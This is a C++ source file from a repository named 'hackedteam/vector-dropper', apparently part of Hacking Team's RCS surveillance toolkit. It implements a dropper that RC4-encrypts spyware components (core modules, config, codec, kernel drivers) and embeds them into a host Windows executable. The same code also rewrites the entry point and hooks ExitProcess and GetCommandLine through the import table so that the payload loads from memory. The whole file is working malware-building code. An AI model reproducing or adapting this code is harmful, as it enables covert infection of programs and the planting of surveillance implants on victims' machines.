hackedteam/vector-dropper

View on GitHub
RCSDropper/DropperObject.cpp

Summary

Maintainability
Test Coverage
#include <iostream>
#include <fstream>
#include <iomanip> 

#include <boost/filesystem.hpp>
namespace bf = boost::filesystem;

#include <aplib.h>

#include "PEObject.h"
#include "DropperObject.h"
#include "DropperCode.h"

using namespace std;

void rc4crypt(const unsigned char *key, size_t keylen,
              unsigned char *data, size_t data_len);

DropperObject::DropperObject(PEObject& pe)
:  _data(0), _size(0), _pe(pe), _epOffset(0)
{
    _files.core.size = 0;
    _files.core64.size = 0;
    _files.config.size = 0;
    _files.codec.size = 0;
    _files.driver.size = 0;
    _files.driver64.size = 0;
    _files.bitmap.size = 0;
    
    int i = 0;
    /*
    while (_needed_strings[i] != NULL) {
        _strings.push_back(std::string(_needed_strings[i]));
        i++;
    }
    */
    _exeType = _pe.exeType;
}

DWORD DropperObject::_build_scout( WINSTARTFUNC OriginalEntryPoint, std::string fPrefix )
{
    DWORD dataBufferSize = 0;

    unsigned int buffer_size = 65535
        + _files.core.size;

    _data.reset( new char[buffer_size] );
    char * ptr = _data.get();

    DataSectionHeader* header = (DataSectionHeader*)ptr;
    memset(header, 0, sizeof(DataSectionHeader));
    ptr += sizeof(DataSectionHeader);
    
    header->exeType = _pe.exeType;

    // Generate ecryption key
    string rc4_key;
    generate_key(rc4_key, sizeof(header->rc4key));
    memcpy(header->rc4key, rc4_key.c_str(), sizeof(header->rc4key));
    //generate_key(rc4_key, 32);
    //memcpy(header->rc4key, rc4_key.c_str(), 32);

    cout << "Key       : " << rc4_key << endl;
    cout << "Key length: " << dec << sizeof(header->rc4key) << endl;    
    
    // Original EP
    header->pfn_OriginalEntryPoint = OriginalEntryPoint;

    // copy patched code for stage1 stub
    memcpy(ptr, _patches[0].buffer.get(), _patches[0].size);
    header->stage1.offset = ptr - _data.get();
    header->stage1.VA = _patches[0].VA;
    header->stage1.size = _patches[0].size;
    ptr += _patches[0].size;


    ptr = _embedFile(header->rc4key, _files.core, header->files.names.core, header->files.core, ptr);

    // compute total data section size and store in buffer
    dataBufferSize = ptr - _data.get();
    memcpy(ptr, &dataBufferSize, sizeof(dataBufferSize));
    ptr += sizeof(dataBufferSize);    
    END_MARKER(ptr);


    // find new EP and copy dropper code in it
    _epOffset = ptr - _data.get();
    ptr += _embedFunction((PVOID)DropperEntryPoint, (PVOID)DropperEntryPoint_End, header->functions.newEntryPoint, ptr);
    cout << "NewEntryPoint is " << header->functions.newEntryPoint.size << " bytes long, offset " << header->functions.newEntryPoint.offset << endl;


    // ExitProcessHook data
    *((DWORD*) ptr) = ptr - _data.get();
    ptr += sizeof(DWORD);
    END_MARKER(ptr);

    // ExitProcessHook code
    ptr += _embedFunction((PVOID)ExitProcessHook, (PVOID)ExitProcessHook_End, header->functions.exitProcessHook, ptr);
    cout << "ExitProcessHook is " << header->functions.exitProcessHook.size << " bytes long, offset " << header->functions.exitProcessHook.offset << endl;

    // RC4 code
    ptr += _embedFunction((PVOID)ArcFour, (PVOID)ArcFour_End, header->functions.rc4, ptr);
    cout << "RC4 is " << header->functions.rc4.size << " bytes long, offset " << (DWORD)header->functions.rc4.offset << endl;

    // _loadlirary
    ptr += _embedFunction((PVOID)MemoryLoader, (PVOID)MemoryLoader_End, header->functions.load, ptr);
    cout << "MemoryLoader is " << header->functions.load.size << " bytes long, offset " << (DWORD)header->functions.load.offset << endl;

    // GetCommandLineAHook code
    ptr += _embedFunction((PVOID)GetCommandLineAHook, (PVOID)GetCommandLineAHook_End, header->functions.GetCommandLineAHook, ptr);
    cout << "GetCommandLineAHook: " << std::hex << GetCommandLineAHook << " GetCommandLineAHook: " << std::hex << GetCommandLineAHook << endl;

    // GetCommandLineWHook code
    ptr += _embedFunction((PVOID)GetCommandLineWHook, (PVOID)GetCommandLineWHook_End, header->functions.GetCommandLineWHook, ptr);
    cout << "GetCommandLineWHook: " << std::hex << GetCommandLineWHook << " GetCommandLineWHook: " << std::hex << GetCommandLineWHook << endl;

    // HookIAT code
    ptr += _embedFunction((PVOID)HookIAT, (PVOID)HookIAT_End, header->functions.hookIAT, ptr);
    cout << "HookIAT is " << header->functions.hookIAT.size << " bytes long, offset " << (DWORD)header->functions.hookIAT.offset << endl;

    header->restore.offset = ptr - _data.get();

    // static size of restoreStub
    header->restore.size = 78; 
    ptr += header->restore.size;

    header->isScout = TRUE;

    // compute total size
    _size = alignToDWORD(ptr - _data.get());
    
    cout << "Total dropper size is " << _size << " bytes." << endl;
    
    // return offset to new EP
    return _epOffset;

}

DWORD DropperObject::_build( WINSTARTFUNC OriginalEntryPoint, std::string fPrefix, std::string installDir )
{
    DWORD dataBufferSize = 0;
    
    unsigned int buffer_size = 65535 // account for header and accessory data (strings, calls, etc)
        + _files.codec.size
        + _files.core.size
        + _files.core64.size
        + _files.config.size
        + _files.driver.size
        + _files.driver64.size
        + _files.bitmap.size
        ;
    
    _data.reset( new char[buffer_size] );
    char * ptr = _data.get();
    
    DataSectionHeader* header = (DataSectionHeader*)ptr;
    memset(header, 0, sizeof(DataSectionHeader));
    ptr += sizeof(DataSectionHeader);
    
    header->exeType = _pe.exeType;

    // Generate ecryption key
    string rc4_key;
    generate_key(rc4_key, sizeof(header->rc4key));
    memcpy(header->rc4key, rc4_key.c_str(), sizeof(header->rc4key));
    
    cout << "Key       : " << rc4_key << endl;
    cout << "Key length: " << dec << sizeof(header->rc4key) << endl;    
    
    // Original EP
    header->pfn_OriginalEntryPoint = OriginalEntryPoint;
    
    // copy patched code for stage1 stub
    memcpy(ptr, _patches[0].buffer.get(), _patches[0].size);
    header->stage1.offset = ptr - _data.get();
    header->stage1.VA = _patches[0].VA;
    header->stage1.size = _patches[0].size;
    ptr += _patches[0].size;
    
    // embed core, driver, config and codec files
    ptr = _embedFile(header->rc4key, _files.core, header->files.names.core, header->files.core, ptr);
    ptr = _embedFile(header->rc4key, _files.core64, header->files.names.core64, header->files.core64, ptr);
    ptr = _embedFile(header->rc4key, _files.driver, header->files.names.driver, header->files.driver, ptr);
    ptr = _embedFile(header->rc4key, _files.driver64, header->files.names.driver64, header->files.driver64, ptr);
    ptr = _embedFile(header->rc4key, _files.config, header->files.names.config, header->files.config, ptr);
    ptr = _embedFile(header->rc4key, _files.codec, header->files.names.codec, header->files.codec, ptr);
    
    // compute total data section size and store in buffer
    dataBufferSize = ptr - _data.get();
    memcpy(ptr, &dataBufferSize, sizeof(dataBufferSize));
    ptr += sizeof(dataBufferSize);    
    END_MARKER(ptr);
    
    // find new EP and copy dropper code in it
    _epOffset = ptr - _data.get();
    ptr += _embedFunction((PVOID)DropperEntryPoint, (PVOID)DropperEntryPoint_End, header->functions.newEntryPoint, ptr);
    cout << "NewEntryPoint is " << header->functions.newEntryPoint.size << " bytes long, offset " << header->functions.newEntryPoint.offset << endl;
    
    // CoreThreadProc code
    ptr += _embedFunction((PVOID)CoreThreadProc, (PVOID)CoreThreadProc_End, header->functions.coreThread, ptr);
    cout << "CoreThreadProc is " << header->functions.coreThread.size << " bytes long, offset " << header->functions.coreThread.offset << endl;
    
    // DumpFile code
    ptr += _embedFunction((PVOID)DumpFile, (PVOID)DumpFile_End, header->functions.dumpFile, ptr);
    cout << "DumpFile is " << header->functions.dumpFile.size << " bytes long, offset " << header->functions.dumpFile.offset << endl;
    
    // ExitProcessHook data
    *((DWORD*) ptr) = ptr - _data.get();
    ptr += sizeof(DWORD);
    END_MARKER(ptr);
    
    // ExitProcessHook code
    ptr += _embedFunction((PVOID)ExitProcessHook, (PVOID)ExitProcessHook_End, header->functions.exitProcessHook, ptr);
    cout << "ExitProcessHook is " << header->functions.exitProcessHook.size << " bytes long, offset " << header->functions.exitProcessHook.offset << endl;
        
    // GetCommandLineAHook data
    *((DWORD*) ptr) = ptr - _data.get();
    ptr += sizeof(DWORD);
    END_MARKER(ptr);    

    // GetCommandLineAHook code
    ptr += _embedFunction((PVOID)GetCommandLineAHook, (PVOID)GetCommandLineAHook_End, header->functions.GetCommandLineAHook, ptr);
    cout << "GetCommandLineAHook: " << std::hex << GetCommandLineAHook << " GetCommandLineAHook: " << std::hex << GetCommandLineAHook << endl;
    
    // GetCommandLineWHook data
    *((DWORD*) ptr) = ptr - _data.get();
    ptr += sizeof(DWORD);
    END_MARKER(ptr);    
    
    // GetCommandLineWHook code
    ptr += _embedFunction((PVOID)GetCommandLineWHook, (PVOID)GetCommandLineWHook_End, header->functions.GetCommandLineWHook, ptr);
    cout << "GetCommandLineWHook: " << std::hex << GetCommandLineWHook << " GetCommandLineWHook: " << std::hex << GetCommandLineWHook << endl;
    // RC4 code
    ptr += _embedFunction((PVOID)ArcFour, (PVOID)ArcFour_End, header->functions.rc4, ptr);
    cout << "RC4 is " << header->functions.rc4.size << " bytes long, offset " << (DWORD)header->functions.rc4.offset << endl;
    
    // hookIAT code
    ptr += _embedFunction((PVOID)HookIAT, (PVOID)HookIAT_End, header->functions.hookIAT, ptr);
    cout << "hookIAT is " << header->functions.hookIAT.size << " bytes long, offset " << (DWORD)header->functions.hookIAT.offset << endl;
    
    cout << "Original ptr: " << hex << (DWORD)ptr << ", aligned: " << hex << (DWORD)alignToDWORD((DWORD)ptr) << endl;
    
    header->restore.offset = ptr - _data.get();
    // static size of restoreStub
    header->restore.size = 78;
    ptr += header->restore.size;

    header->isScout = FALSE;

    memcpy(header->instDir, installDir.c_str(), sizeof(header->instDir));
    memcpy(header->eliteExports, fPrefix.c_str(), sizeof(header->eliteExports));

    // compute total size
    _size = alignToDWORD(ptr - _data.get());
    
    cout << "Total dropper size is " << _size << " bytes." << endl;
    
    // return offset to new EP
    return _epOffset;
}

bool DropperObject::_addCoreFile( std::string path, std::string name )
{
    cout << "Adding core file \"" << path << "\" as \"" << name << "\"." << endl;
    _files.core.name = name;
    return _readFile(path, _files.core);    
}

bool DropperObject::_addCore64File( std::string path, std::string name )
{
    cout << "Adding core (64 bit) file \"" << path << "\" as \"" << name << "\"." << endl;
    _files.core64.name = name;
    return _readFile(path, _files.core64);    
}

bool DropperObject::_addDriverFile( std::string path, std::string name )
{
    cout << "Adding driver file \"" << path << "\" as \"" << name << "\"." << endl;
    _files.driver.name = name;
    return _readFile(path, _files.driver);
}

bool DropperObject::_addDriver64File( std::string path, std::string name )
{
    cout << "Adding driver file \"" << path << "\" as \"" << name << "\"." << endl;
    _files.driver64.name = name;
    return _readFile(path, _files.driver64);
}

bool DropperObject::_addConfigFile( std::string path, std::string name )
{
    cout << "Adding config file \"" << path << "\" as \"" << name << "\"." << endl;
    _files.config.name = name;
    return _readFile(path, _files.config);
}

bool DropperObject::_addCodecFile( std::string path, std::string name )
{
    cout << "Adding codec file \"" << path << "\" as \"" << name << "\"." << endl;
    _files.codec.name = name;
    return _readFile(path, _files.codec);
}

bool DropperObject::_addBitmapFile( std::string path, std::string name )
{
    cout << "Adding demo bitmap file \"" << path << "\" as \"" << name << "\"." << endl;
    _files.bitmap.name = "infected.bmp";
    return _readFile(path, _files.bitmap);
}

int DropperObject::_embedFunction( PVOID funcStart, PVOID funcEnd , DataSectionBlob& func, char *ptr )
{
    DWORD size = (DWORD)funcEnd - (DWORD)funcStart;

    memcpy(ptr, (PBYTE) funcStart, size);
    func.offset = ptr - _data.get();
    func.size = size;

    return size;
}

unsigned int ratio(unsigned int x, unsigned int y)
{
    if (x <= UINT_MAX / 100) x *= 100; else y /= 100;
    if (y == 0) y = 1;
    return x / y;
}

int __stdcall callback(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam)
{
    printf("\rcompressed %u -> %u bytes (%u%% done)", inpos, outpos, ratio(inpos, insize));
    return 1;
}

char* DropperObject::_embedFile(char* rc4key, NamedFileBuffer& source, DataSectionBlob& name, DataSectionCryptoPack& file, char* ptr )
{
    // check if we have some data to be appended
    if (source.buffer == NULL && source.size <= 0)
        return ptr;

    // copy name of file
    name.offset = ptr - _data.get();
    name.size = source.name.size() + 1;
    memcpy(ptr, source.name.c_str(), name.size);
    ptr += name.size;
    
#if defined PACK_DATA
    printf("[*] Compressing data, file size: %d\n", source.size);
    file.characteristics |= APLIB_PACKED;
    int length = source.size;
    
    char* packed = (char*) malloc(aP_max_packed_size(length));
    if (packed == NULL)
        return 0;
    
    char* workmem = (char*) malloc(aP_workmem_size(length));
    if (workmem == NULL)
        return 0;
    
    int packed_size = aP_pack(source.buffer.get(), packed, length, workmem, callback, NULL);
    printf("\n");
    if (packed_size == APLIB_ERROR) {
        printf("Error compressing!\n");
        return 0;
    }
    
    if (workmem) free(workmem);
#else
    char* packed = source.buffer.get();
    int packed_size = source.size;
#endif
    
    file.offset = ptr - _data.get();
    file.original_size = source.size;    
    file.size = packed_size;

    // crypt and write file
    file.characteristics |= RC4_CRYPTED;

    rc4crypt((unsigned char*)rc4key, RC4KEYLEN, (unsigned char*)packed, packed_size);
    memcpy(ptr, packed, packed_size);
    ptr += packed_size;

#if defined PACK_DATA
    free(packed);
#endif

    return ptr;
}

bool DropperObject::_readFile( std::string path, NamedFileBuffer& buffer )
{
    std::ifstream file(path.c_str(), ios::binary);
    
    if (!file.is_open())
        return false;
    
    // get length of file
    
    file.seekg(0, ios::end);
    buffer.size = file.tellg();
    file.seekg(0, ios::beg);
    
    buffer.buffer.reset( new char[buffer.size] );
    
    file.read(buffer.buffer.get(), buffer.size);
    file.close();
    
    return true;
}

bool DropperObject::build( bf::path core, bf::path core64, bf::path config, bf::path codec, bf::path driver, bf::path driver64, std::string installDir, std::string fPrefix, bf::path demoBitmap, BOOL isScout )
{

    if (isScout)
    {
        try
        {
            _setExecutableName("XXX");
            _setInstallDir("123");

            _addCoreFile(core.string(), core.filename());

            _build_scout( (WINSTARTFUNC) _pe.epVA(), fPrefix );
        }
        catch (...)
        {
            cout << __FUNCTION__ << "Failed building dropper object for SCOUT." << endl;
            return false;
        }
    }
    else
    {
        try {
            _setExecutableName("XXX");
            _setInstallDir(installDir);

            _addCoreFile(core.string(), core.filename());
            _addConfigFile(config.string(), config.filename());

            if (!core64.empty())
                _addCore64File(core64.string(), core64.filename());

            if (!codec.empty())
                _addCodecFile(codec.string(), codec.filename());

            if (!driver.empty())
                _addDriverFile(driver.string(), driver.filename());

            if (!driver64.empty())
                _addDriver64File(driver64.string(), driver64.filename());

            if (!demoBitmap.empty())
                _addBitmapFile(demoBitmap.string(), demoBitmap.filename());

            _build( (WINSTARTFUNC) _pe.epVA(), fPrefix, installDir );

        } catch (...) {
            cout << __FUNCTION__ << "Failed building dropper object." << endl;
            return false;
        }
    }
    return true;
}

/*
int DropperObject::_getIATCallIndex( std::string dll, std::string call )
{
    int index = -1;
    
    try {
        IATEntry const & entry = _pe.getIATEntry(dll, call);
        index = entry.index();
    } catch (IATEntryNotFound) {
        cout << __FUNCTION__ << ": no entry for " << dll << "(" << call << ")" << endl;
    }
    
    return index;
}
*/

void DropperObject::setPatchCode( std::size_t idx, DWORD VA, char const * const data, std::size_t size )
{
    _ASSERT(data);
    _ASSERT(size);
    
    _patches[idx].VA = VA;
    _patches[idx].buffer.reset( new char[size] );
    memcpy( _patches[idx].buffer.get(), data, size );
    _patches[idx].size = size;
}

void generate_key(std::string& key, unsigned int length) 
{
    srand( (unsigned int) time(NULL) );
    
    std::ostringstream outStream;
    
    // initalize seed and fill array with random fuss
    for (unsigned int i = 0; i < length; i++) {
        outStream << std::setw(2) << std::setfill('0') << std::hex << (unsigned int) (rand() % 100);
    }

    key = outStream.str();
}

void rc4crypt(const unsigned char *key, size_t keylen,
              unsigned char *data, size_t data_len)
{
    unsigned int i, j, k;
    unsigned char *pos;
    unsigned char S[256];
    size_t kpos;
    size_t skip = 0;

    /* Setup RC4 state */
    for (i = 0; i < 256; i++)
        S[i] = i;
    j = 0;
    kpos = 0;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[kpos]) & 0xff;
        kpos++;
        if (kpos >= keylen)
            kpos = 0;
        S_SWAP(i, j);
    }

    /* Skip the start of the stream */
    i = j = 0;
    for (k = 0; k < skip; k++) {
        i = (i + 1) & 0xff;
        j = (j + S[i]) & 0xff;
        S_SWAP(i, j);
    }

    /* Apply RC4 to data */
    pos = data;
    for (k = 0; k < data_len; k++) {
        i = (i + 1) & 0xff;
        j = (j + S[i]) & 0xff;
        S_SWAP(i, j);
        *pos++ ^= S[(S[i] + S[j]) & 0xff];
    }
}